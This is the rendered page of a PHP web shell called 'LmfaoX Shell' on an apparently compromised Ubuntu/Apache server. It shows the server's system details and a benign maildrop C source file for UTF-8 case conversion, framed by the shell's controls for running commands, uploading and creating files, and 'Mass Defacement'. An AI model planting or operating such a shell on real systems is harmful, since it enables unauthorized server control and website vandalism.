ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:22.83 GB of 70.42 GB (32.42%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ maildrop-2.2.0/ unicode/ - drwxr-xr-x

Directory:
Viewing file:     utf8_chset.c (1.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
** Copyright 2000 Double Precision, Inc.
** See COPYING for distribution information.
**
** $Id: utf8_chset.c,v 1.5 2004/05/23 14:28:25 mrsam Exp $
*/

#include "unicode.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
** UTF8.toupper/tolower/totitle is implemented by converting UTF8 to
** UCS-4, applying the unicode table lookup, then converting it back to
** UTF8
*/

static char *toupper_func(const struct unicode_info *u,
              const char *cp, int *ip)
{
    unicode_char *uc=unicode_utf8_tou(cp, ip), *p;
    char *s;

    if (!uc) return (0);

    for (p=uc; *p; p++)
        *p=unicode_uc(*p);

    s=unicode_utf8_fromu(uc, NULL);
    free(uc);
    return (s);
}

static char *tolower_func(const struct unicode_info *u,
              const char *cp, int *ip)
{
    unicode_char *uc=unicode_utf8_tou(cp, ip), *p;
    char *s;

    if (!uc) return (0);

    for (p=uc; *p; p++)
        *p=unicode_lc(*p);

    s=unicode_utf8_fromu(uc, NULL);
    free(uc);
    return (s);
}

static char *totitle_func(const struct unicode_info *u,
              const char *cp, int *ip)
{
    unicode_char *uc=unicode_utf8_tou(cp, ip), *p;
    char *s;

    if (!uc) return (0);

    for (p=uc; *p; p++)
        *p=unicode_tc(*p);

    s=unicode_utf8_fromu(uc, NULL);
    free(uc);
    return (s);
}

static unicode_char *tou(const struct unicode_info *i, const char *p,
             int *err)
{
    return unicode_utf8_tou(p, err);
}

static char *fromu(const struct unicode_info *i, const unicode_char *p,
           int *err)
{
    return unicode_utf8_fromu(p, err);
}

const struct unicode_info unicode_UTF8 = {
    "UTF-8",
    UNICODE_UTF | UNICODE_MB | UNICODE_USASCII | UNICODE_HEADER_QUOPRI
    | UNICODE_BODY_QUOPRI,
    tou,
    fromu,
    toupper_func,
    tolower_func,
    totitle_func};

Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.1892 seconds